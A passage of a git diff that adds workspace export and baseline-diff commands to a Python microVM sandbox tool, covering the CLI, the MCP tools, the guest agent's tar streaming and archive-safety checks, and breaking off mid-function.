+386,20 @@ class Pyro: """Return persisted command history for one workspace.""" return self.logs_workspace(workspace_id) + @server.tool() + async def workspace_export( + workspace_id: str, + path: str, + output_path: str, + ) -> dict[str, Any]: + """Export one file or directory from `/workspace` back to the host.""" + return self.export_workspace(workspace_id, path, output_path=output_path) + + @server.tool() + async def workspace_diff(workspace_id: str) -> dict[str, Any]: + """Compare `/workspace` to the immutable create-time baseline.""" + return self.diff_workspace(workspace_id) + @server.tool() async def shell_open( workspace_id: str, diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 38a592b..f0e5aa3 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -215,6 +215,41 @@ def _print_workspace_sync_human(payload: dict[str, Any]) -> None: ) +def _print_workspace_export_human(payload: dict[str, Any]) -> None: + print( + "[workspace-export] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"workspace_path={str(payload.get('workspace_path', WORKSPACE_GUEST_PATH))} " + f"output_path={str(payload.get('output_path', 'unknown'))} " + f"artifact_type={str(payload.get('artifact_type', 'unknown'))} " + f"entry_count={int(payload.get('entry_count', 0))} " + f"bytes_written={int(payload.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_diff_human(payload: dict[str, Any]) -> None: + if not bool(payload.get("changed")): + print("No workspace changes.") + return + summary = payload.get("summary") + if isinstance(summary, dict): + print( + "[workspace-diff] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"total={int(summary.get('total', 0))} " + f"added={int(summary.get('added', 0))} " + f"modified={int(summary.get('modified', 0))} " + f"deleted={int(summary.get('deleted', 0))} " + f"type_changed={int(summary.get('type_changed', 0))} " + f"text_patched={int(summary.get('text_patched', 0))} " + f"non_text={int(summary.get('non_text', 0))}" + ) + patch = str(payload.get("patch", "")) + if patch != "": + print(patch, end="" if patch.endswith("\n") else "\n") + + def _print_workspace_logs_human(payload: dict[str, Any]) -> None: entries = payload.get("entries") if not isinstance(entries, list) or not entries: @@ -301,6 +336,8 @@ def _build_parser() -> argparse.ArgumentParser: Need repeated commands in one workspace after that? pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace diff WORKSPACE_ID + pyro workspace export WORKSPACE_ID note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID Use `pyro mcp serve` only after the CLI validation path works. @@ -509,6 +546,8 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./repo --dest src pyro workspace exec WORKSPACE_ID -- sh -lc 'printf "hello\\n" > note.txt' + pyro workspace diff WORKSPACE_ID + pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID pyro workspace logs WORKSPACE_ID """ @@ -530,6 +569,7 @@ def _build_parser() -> argparse.ArgumentParser: pyro workspace create debian:12 pyro workspace create debian:12 --seed-path ./repo pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace diff WORKSPACE_ID """ ), formatter_class=_HelpFormatter, @@ -667,6 +707,57 @@ def _build_parser() -> argparse.ArgumentParser: action="store_true", help="Print structured JSON instead of human-readable output.", ) + workspace_export_parser = workspace_subparsers.add_parser( + "export", + help="Export one workspace path to the host.", + description="Export one file or directory from `/workspace` to an explicit host path.", + epilog="Example:\n pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt", + formatter_class=_HelpFormatter, + ) + workspace_export_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_export_parser.add_argument( + "path", + metavar="PATH", + help="Workspace path to export. Relative values resolve inside `/workspace`.", + ) + workspace_export_parser.add_argument( + "--output", + required=True, + help="Exact host path to create for the exported file or directory.", + ) + workspace_export_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_diff_parser = workspace_subparsers.add_parser( + "diff", + help="Diff `/workspace` against the create-time baseline.", + description="Compare the current `/workspace` tree to the immutable workspace baseline.", + epilog=dedent( + """ + Example: + pyro workspace diff WORKSPACE_ID + + Use `workspace export` to copy a changed file or directory back to the host. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_diff_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_diff_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) workspace_shell_parser = workspace_subparsers.add_parser( "shell", help="Open and manage persistent interactive shells.", @@ -1148,6 +1239,46 @@ def main() -> None: raise SystemExit(1) from exc _print_workspace_sync_human(payload) return + if args.workspace_command == "export": + if bool(args.json): + try: + payload = pyro.export_workspace( + args.workspace_id, + args.path, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.export_workspace( + args.workspace_id, + args.path, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_export_human(payload) + return + if args.workspace_command == "diff": + if bool(args.json): + try: + payload = pyro.diff_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.diff_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_diff_human(payload) + return if args.workspace_command == "shell": if args.workspace_shell_command == "open": try: diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index ae2a05c..0d68527 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -8,7 +8,9 @@ PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "create", "delete", + "diff", "exec", + "export", "logs", "shell", "status", @@ -25,6 +27,8 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--seed-path", "--json", ) +PUBLIC_CLI_WORKSPACE_DIFF_FLAGS = ("--json",) +PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS = ("--output", "--json") PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ("--cwd", "--cols", "--rows", "--json") PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") @@ -48,8 +52,10 @@ PUBLIC_SDK_METHODS = ( "create_workspace", "delete_vm", "delete_workspace", + "diff_workspace", "exec_vm", "exec_workspace", + "export_workspace", "inspect_environment", "list_environments", "logs_workspace", @@ -87,7 +93,9 @@ PUBLIC_MCP_TOOLS = ( "vm_stop", "workspace_create", "workspace_delete", + "workspace_diff", "workspace_exec", + "workspace_export", "workspace_logs", "workspace_status", "workspace_sync_push", diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py index 03ff492..91a9103 100755 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/guest/pyro_guest_agent.py @@ -14,6 +14,7 @@ import socket import struct import subprocess import tarfile +import tempfile import termios import threading import time @@ -180,6 +181,54 @@ def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: } +def _inspect_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + entry_count += 1 + if member.isfile(): + bytes_written += member.size + return entry_count, bytes_written + + +def _prepare_export_archive(path: str) -> dict[str, Any]: + normalized_path, source_path = _normalize_destination(path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_path}") + if source_path.is_symlink(): + artifact_type = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {normalized_path}") + + with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: + archive_path = Path(handle.name) + try: + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + entry_count, bytes_written = _inspect_archive(archive_path) + return { + "workspace_path": str(normalized_path), + "artifact_type": artifact_type, + "archive_path": archive_path, + "archive_size": archive_path.stat().st_size, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + except Exception: + archive_path.unlink(missing_ok=True) + raise + + def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() try: @@ -533,6 +582,26 @@ def main() -> None: with conn: try: request = _read_request(conn) + if str(request.get("action", "")) == "export_archive": + export = _prepare_export_archive(str(request.get("path", "/workspace"))) + try: + header = { + "workspace_path": export["workspace_path"], + "artifact_type": export["artifact_type"], + "archive_size": export["archive_size"], + "entry_count": export["entry_count"], + "bytes_written": export["bytes_written"], + } + conn.sendall((json.dumps(header) + "\n").encode("utf-8")) + with Path(str(export["archive_path"])).open("rb") as handle: + while True: + chunk = handle.read(BUFFER_SIZE) + if chunk == b"": + break + conn.sendall(chunk) + finally: + Path(str(export["archive_path"])).unlink(missing_ok=True) + continue response = _dispatch(request, conn) except Exception as exc: # noqa: BLE001 response = {"error": str(exc)} diff --git a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json index 52d1a5d..d58fbbf 100644 --- a/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json +++ b/src/pyro_mcp/runtime_bundle/linux-x86_64/manifest.json @@ -25,7 +25,7 @@ "guest": { "agent": { "path": "guest/pyro_guest_agent.py", - "sha256": "07adf6269551447dbea8c236f91499ea1479212a3f084c5402a656f5f5cc5892" + "sha256": "4118589ccd8f4ac8200d9cedf25d13ff515d77c28094bbbdb208310247688b40" } }, "platform": "linux-x86_64", diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 3e7eddf..8f07ca6 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.5.0" +DEFAULT_CATALOG_VERSION = "2.6.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_guest.py b/src/pyro_mcp/vm_guest.py index 1988269..c9a8db8 100644 --- a/src/pyro_mcp/vm_guest.py +++ b/src/pyro_mcp/vm_guest.py @@ -39,6 +39,14 @@ class GuestArchiveResponse: bytes_written: int +@dataclass(frozen=True) +class GuestArchiveExportResponse: + workspace_path: str + artifact_type: str + entry_count: int + bytes_written: int + + @dataclass(frozen=True) class GuestShellSummary: shell_id: str @@ -128,6 +136,52 @@ class VsockExecClient: bytes_written=int(payload.get("bytes_written", 0)), ) + def export_archive( + self, + guest_cid: int, + port: int, + *, + workspace_path: str, + archive_path: Path, + timeout_seconds: int = 60, + uds_path: str | None = None, + ) -> GuestArchiveExportResponse: + request = { + "action": "export_archive", + "path": workspace_path, + } + sock = self._connect(guest_cid, port, timeout_seconds, uds_path=uds_path) + try: + sock.sendall((json.dumps(request) + "\n").encode("utf-8")) + header = self._recv_line(sock) + if header.strip() == "": + raise RuntimeError("guest export response header is empty") + payload = json.loads(header) + if not isinstance(payload, dict): + raise RuntimeError("guest export response header must be a JSON object") + error = payload.get("error") + if error is not None: + raise RuntimeError(str(error)) + archive_size = int(payload.get("archive_size", 0)) + if archive_size < 0: + raise RuntimeError("guest export archive_size must not be negative") + with archive_path.open("wb") as handle: + remaining = archive_size + while remaining > 0: + chunk = sock.recv(min(65536, remaining)) + if chunk == b"": + raise RuntimeError("unexpected EOF while receiving export archive") + handle.write(chunk) + remaining -= len(chunk) + finally: + sock.close() + return GuestArchiveExportResponse( + workspace_path=str(payload.get("workspace_path", workspace_path)), + artifact_type=str(payload.get("artifact_type", "file")), + entry_count=int(payload.get("entry_count", 0)), + bytes_written=int(payload.get("bytes_written", 0)), + ) + def open_shell( self, guest_cid: int, diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index ad221dc..225ab2b 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -2,6 +2,7 @@ from __future__ import annotations +import difflib import json import os import shlex @@ -43,7 +44,9 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 3 +WORKSPACE_LAYOUT_VERSION = 4 +WORKSPACE_BASELINE_DIRNAME = "baseline" +WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" WORKSPACE_DIRNAME = "workspace" WORKSPACE_COMMANDS_DIRNAME = "commands" WORKSPACE_SHELLS_DIRNAME = "shells" @@ -57,6 +60,7 @@ DEFAULT_SHELL_MAX_CHARS = 65536 WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WorkspaceSeedMode = Literal["empty", "directory", "tar_archive"] +WorkspaceArtifactType = Literal["file", "directory", "symlink"] @dataclass @@ -287,6 +291,24 @@ class VmExecResult: duration_ms: int +@dataclass(frozen=True) +class ExportedWorkspaceArchive: + workspace_path: str + artifact_type: WorkspaceArtifactType + archive_path: Path + entry_count: int + bytes_written: int + + +@dataclass(frozen=True) +class WorkspaceTreeEntry: + path: str + artifact_type: WorkspaceArtifactType + disk_path: Path + size_bytes: int = 0 + link_target: str | None = None + + def _optional_int(value: object) -> int | None: if value is None: return None @@ -522,6 +544,66 @@ def _write_directory_seed_archive(source_dir: Path, archive_path: Path) -> None: archive.add(child, arcname=child.name, recursive=True) +def _write_empty_seed_archive(archive_path: Path) -> None: + archive_path.parent.mkdir(parents=True, exist_ok=True) + with tarfile.open(archive_path, "w"): + pass + + +def _persist_workspace_baseline( + prepared_seed: PreparedWorkspaceSeed, + *, + baseline_archive_path: Path, +) -> None: + baseline_archive_path.parent.mkdir(parents=True, exist_ok=True) + if prepared_seed.archive_path is None: + _write_empty_seed_archive(baseline_archive_path) + return + shutil.copy2(prepared_seed.archive_path, baseline_archive_path) + + +def _write_workspace_export_archive( + source_path: Path, + *, + archive_path: Path, +) -> WorkspaceArtifactType: + archive_path.parent.mkdir(parents=True, exist_ok=True) + if source_path.is_symlink(): + artifact_type: WorkspaceArtifactType = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {source_path}") + + def validate_source(current_path: Path, relative_path: PurePosixPath) -> None: + if current_path.is_symlink(): + _validate_archive_symlink_target(relative_path, os.readlink(current_path)) + return + if current_path.is_file(): + return + if current_path.is_dir(): + for child in sorted(current_path.iterdir(), key=lambda item: item.name): + validate_source(child, relative_path / child.name) + return + raise RuntimeError(f"unsupported workspace path type: {current_path}") + + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + validate_source(child, PurePosixPath(child.name)) + else: + validate_source(source_path, PurePosixPath(source_path.name)) + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + return artifact_type + + def _extract_seed_archive_to_host_workspace( archive_path: Path, *, @@ -576,6 +658,120 @@ def _extract_seed_archive_to_host_workspace( } +def _prepare_workspace_export_archive( + *, + workspace_dir: Path, + workspace_path: str, + archive_path: Path, +) -> ExportedWorkspaceArchive: + normalized_workspace_path, _ = _normalize_workspace_destination(workspace_path) + source_path = _workspace_host_destination(workspace_dir, normalized_workspace_path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_workspace_path}") + artifact_type = _write_workspace_export_archive(source_path, archive_path=archive_path) + entry_count, bytes_written = _inspect_seed_archive(archive_path) + return ExportedWorkspaceArchive( + workspace_path=normalized_workspace_path, + artifact_type=artifact_type, + archive_path=archive_path, + entry_count=entry_count, + bytes_written=bytes_written, + ) + + +def _extract_workspace_export_archive( + archive_path: Path, + *, + output_path: Path, + artifact_type: WorkspaceArtifactType, +) -> dict[str, Any]: + output_path.parent.mkdir(parents=True, exist_ok=True) + if output_path.exists() or output_path.is_symlink(): + raise RuntimeError(f"output_path already exists: {output_path}") + + entry_count = 0 + bytes_written = 0 + if artifact_type == "directory": + output_path.mkdir(parents=True, exist_ok=False) + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_archive_member_name(member.name) + target_path = output_path.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(output_path, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or ( + target_path.exists() and not target_path.is_dir() + ): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.is_symlink() or target_path.is_dir(): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written += member.size + continue + if member.issym(): + _validate_archive_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "output_path": str(output_path), + "artifact_type": artifact_type, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + with tarfile.open(archive_path, "r:*") as archive: + members = archive.getmembers() + if len(members) != 1: + raise RuntimeError( + "expected exactly one archive member for " + f"{artifact_type} export, got {len(members)}" + ) + member = members[0] + _normalize_archive_member_name(member.name) + entry_count = 1 + if artifact_type == "file": + if not member.isfile(): + raise RuntimeError("exported archive did not contain a regular file") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with output_path.open("wb") as handle: + shutil.copyfileobj(source, handle) + bytes_written = member.size + elif artifact_type == "symlink": + if not member.issym(): + raise RuntimeError("exported archive did not contain a symlink") + _validate_archive_symlink_target(PurePosixPath(member.name), member.linkname) + os.symlink(member.linkname, output_path) + else: + raise RuntimeError(f"unsupported artifact type: {artifact_type}") + return { + "output_path": str(output_path), + "artifact_type": artifact_type, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + def _instance_workspace_host_dir(instance: VmInstance) -> Path: raw_value = instance.metadata.get("workspace_host_dir") if raw_value is None or raw_value == "": @@ -640,6 +836,205 @@ def _pid_is_running(pid: int | None) -> bool: return True +def _collect_workspace_tree(root: Path) -> dict[str, WorkspaceTreeEntry]: + entries: dict[str, WorkspaceTreeEntry] = {} + + def walk(current: Path, relative_parts: tuple[str, ...] = ()) -> bool: + has_entries = False + for child in sorted(current.iterdir(), key=lambda item: item.name): + child_relative_parts = relative_parts + (child.name,) + relative_path = "/".join(child_relative_parts) + if child.is_symlink(): + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="symlink", + disk_path=child, + link_target=os.readlink(child), + ) + has_entries = True + continue + if child.is_file(): + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="file", + disk_path=child, + size_bytes=child.stat().st_size, + ) + has_entries = True + continue + if child.is_dir(): + child_has_entries = walk(child, child_relative_parts) + if not child_has_entries: + entries[relative_path] = WorkspaceTreeEntry( + path=relative_path, + artifact_type="directory", + disk_path=child, + ) + has_entries = True + else: + has_entries = True + continue + raise RuntimeError(f"unsupported workspace artifact type: {child}") + return has_entries + + walk(root) + return entries + + +def _is_probably_text(data: bytes) -> bool: + if b"\x00" in data: + return False + try: + data.decode("utf-8") + except UnicodeDecodeError: + return False + return True + + +def _build_text_patch( + *, + path: str, + before_text: str, + after_text: str, + status: str, +) -> str: + if status == "added": + fromfile = "/dev/null" + tofile = f"b/{path}" + elif status == "deleted": + fromfile = f"a/{path}" + tofile = "/dev/null" + else: + fromfile = f"a/{path}" + tofile = f"b/{path}" + lines = list( + difflib.unified_diff( + before_text.splitlines(keepends=True), + after_text.splitlines(keepends=True), + fromfile=fromfile, + tofile=tofile, + n=3, + ) + ) + if not lines: + return "" + return "".join(lines) + + +def _diff_workspace_trees( + baseline_root: Path, + current_root: Path, +) -> dict[str, Any]: + baseline_entries = _collect_workspace_tree(baseline_root) + current_entries = _collect_workspace_tree(current_root) + changed_entries: list[dict[str, Any]] = [] + patch_parts: list[str] = [] + summary = { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + } + + for path in sorted(set(baseline_entries) | set(current_entries)): + baseline_entry = baseline_entries.get(path) + current_entry = current_entries.get(path) + entry_payload: dict[str, Any] | None = None + text_patch = "" + + if baseline_entry is None and current_entry is not None: + entry_payload = { + "path": path, + "status": "added", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + if current_entry.artifact_type == "file": + current_bytes = current_entry.disk_path.read_bytes() + if _is_probably_text(current_bytes): + text_patch = _build_text_patch( + path=path, + before_text="", + after_text=current_bytes.decode("utf-8"), + status="added", + ) + elif current_entry is None and baseline_entry is not None: + entry_payload = { + "path": path, + "status": "deleted", + "artifact_type": baseline_entry.artifact_type, + "text_patch": None, + } + if baseline_entry.artifact_type == "file": + baseline_bytes = baseline_entry.disk_path.read_bytes() + if _is_probably_text(baseline_bytes): + text_patch = _build_text_patch( + path=path, + before_text=baseline_bytes.decode("utf-8"), + after_text="", + status="deleted", + ) + elif baseline_entry is not None and current_entry is not None: + if baseline_entry.artifact_type != current_entry.artifact_type: + entry_payload = { + "path": path, + "status": "type_changed", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + elif current_entry.artifact_type == "directory": + continue + elif current_entry.artifact_type == "symlink": + if baseline_entry.link_target != current_entry.link_target: + entry_payload = { + "path": path, + "status": "modified", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + else: + baseline_bytes = baseline_entry.disk_path.read_bytes() + current_bytes = current_entry.disk_path.read_bytes() + if baseline_bytes == current_bytes: + continue + entry_payload = { + "path": path, + "status": "modified", + "artifact_type": current_entry.artifact_type, + "text_patch": None, + } + if _is_probably_text(baseline_bytes) and _is_probably_text(current_bytes): + text_patch = _build_text_patch( + path=path, + before_text=baseline_bytes.decode("utf-8"), + after_text=current_bytes.decode("utf-8"), + status="modified", + ) + + if entry_payload is None: + continue + + summary["total"] += 1 + summary[str(entry_payload["status"])] += 1 + if text_patch != "": + entry_payload["text_patch"] = text_patch + patch_parts.append(text_patch) + summary["text_patched"] += 1 + else: + summary["non_text"] += 1 + changed_entries.append(entry_payload) + + return { + "changed": bool(changed_entries), + "summary": summary, + "entries": changed_entries, + "patch": "".join(patch_parts), + } + + class VmBackend: """Backend interface for lifecycle operations.""" @@ -674,6 +1069,15 @@ class VmBackend: ) -> dict[str, Any]: raise NotImplementedError + def export_archive( # pragma: no cover + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + raise NotImplementedError + def open_shell( # pragma: no cover self, instance: VmInstance, @@ -768,6 +1172,26 @@ class MockBackend(VmBackend): destination=destination, ) + def export_archive( + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + exported = _prepare_workspace_export_archive( + workspace_dir=_instance_workspace_host_dir(instance), + workspace_path=workspace_path, + archive_path=archive_path, + ) + return { + "workspace_path": exported.workspace_path, + "artifact_type": exported.artifact_type, + "entry_count": exported.entry_count, + "bytes_written": exported.bytes_written, + "execution_mode": "host_compat", + } + def open_shell( self, instance: VmInstance, @@ -1086,6 +1510,55 @@ class FirecrackerBackend(VmBackend): # pragma: no cover destination=destination, ) + def export_archive( + self, + instance: VmInstance, + *, + workspace_path: str, + archive_path: Path, + ) -> dict[str, Any]: + if self._runtime_capabilities.supports_guest_exec: + guest_cid = int(instance.metadata["guest_cid"]) + port = int(instance.metadata["guest_exec_port"]) + uds_path = instance.metadata.get("guest_exec_uds_path") + deadline = time.monotonic() + 10 + while True: + try: + response = self._guest_exec_client.export_archive( + guest_cid, + port, + workspace_path=workspace_path, + archive_path=archive_path, + timeout_seconds=WORKSPACE_ARCHIVE_UPLOAD_TIMEOUT_SECONDS, + uds_path=uds_path, + ) + return { + "workspace_path": response.workspace_path, + "artifact_type": response.artifact_type, + "entry_count": response.entry_count, + "bytes_written": response.bytes_written, + "execution_mode": instance.metadata.get("execution_mode", "pending"), + } + except (OSError, RuntimeError) as exc: + if time.monotonic() >= deadline: + raise RuntimeError( + f"guest export transport did not become ready: {exc}" + ) from exc + time.sleep(0.2) + instance.metadata["execution_mode"] = "host_compat" + exported = _prepare_workspace_export_archive( + workspace_dir=_instance_workspace_host_dir(instance), + workspace_path=workspace_path, + archive_path=archive_path, + ) + return { + "workspace_path": exported.workspace_path, + "artifact_type": exported.artifact_type, + "entry_count": exported.entry_count, + "bytes_written": exported.bytes_written, + "execution_mode": "host_compat", + } + def open_shell( self, instance: VmInstance, @@ -1488,10 +1961,15 @@ class VmManager: host_workspace_dir = self._workspace_host_dir(workspace_id) commands_dir = self._workspace_commands_dir(workspace_id) shells_dir = self._workspace_shells_dir(workspace_id) + baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) workspace_dir.mkdir(parents=True, exist_ok=False) host_workspace_dir.mkdir(parents=True, exist_ok=True) commands_dir.mkdir(parents=True, exist_ok=True) shells_dir.mkdir(parents=True, exist_ok=True) + _persist_workspace_baseline( + prepared_seed, + baseline_archive_path=baseline_archive_path, + ) instance = VmInstance( vm_id=workspace_id, environment=environment, @@ -1523,23 +2001,14 @@ class VmManager: self._start_instance_locked(instance) self._require_guest_exec_or_opt_in(instance) workspace_seed = prepared_seed.to_payload() - if prepared_seed.archive_path is not None: - import_summary = self._backend.import_archive( - instance, - archive_path=prepared_seed.archive_path, - destination=WORKSPACE_GUEST_PATH, - ) - workspace_seed["entry_count"] = int(import_summary["entry_count"]) - workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) - workspace_seed["destination"] = str(import_summary["destination"]) - elif self._runtime_capabilities.supports_guest_exec: - self._backend.exec( - instance, - f"mkdir -p {shlex.quote(WORKSPACE_GUEST_PATH)}", - 10, - ) - else: - instance.metadata["execution_mode"] = "host_compat" + import_summary = self._backend.import_archive( + instance, + archive_path=baseline_archive_path, + destination=WORKSPACE_GUEST_PATH, + ) + workspace_seed["entry_count"] = int(import_summary["entry_count"]) + workspace_seed["bytes_written"] = int(import_summary["bytes_written"]) + workspace_seed["destination"] = str(import_summary["destination"]) workspace = WorkspaceRecord.from_instance(instance, workspace_seed=workspace_seed) self._save_workspace_locked(workspace) return self._serialize_workspace(workspace) @@ -1612,6 +2081,98 @@ class VmManager: "workspace_sync": workspace_sync, } + def export_workspace( + self, + workspace_id: str, + *, + path: str, + output_path: str | Path, + ) -> dict[str, Any]: + normalized_path, _ = _normalize_workspace_destination(path) + raw_output_path = str(output_path).strip() + if raw_output_path == "": + raise ValueError("output_path must not be empty") + resolved_output_path = Path(output_path).expanduser().resolve() + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_export", + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as temp_dir: + archive_path = Path(temp_dir) / "workspace-export.tar" + exported = self._backend.export_archive( + instance, + workspace_path=normalized_path, + archive_path=archive_path, + ) + extracted = _extract_workspace_export_archive( + archive_path, + output_path=resolved_output_path, + artifact_type=cast(WorkspaceArtifactType, str(exported["artifact_type"])), + ) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return { + "workspace_id": workspace_id, + "workspace_path": normalized_path, + "output_path": str(Path(str(extracted["output_path"]))), + "artifact_type": extracted["artifact_type"], + "entry_count": int(extracted["entry_count"]), + "bytes_written": int(extracted["bytes_written"]), + "execution_mode": str( + exported.get("execution_mode", instance.metadata.get("execution_mode", "pending")) + ), + } + + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="workspace_diff", + ) + baseline_archive_path = self._workspace_baseline_archive_path(workspace_id) + if not baseline_archive_path.exists(): + raise RuntimeError( + "workspace diff requires a baseline snapshot. Recreate the workspace to use diff." + ) + with tempfile.TemporaryDirectory(prefix="pyro-workspace-diff-") as temp_dir: + temp_root = Path(temp_dir) + current_archive_path = temp_root / "current.tar" + baseline_root = temp_root / "baseline" + current_root = temp_root / 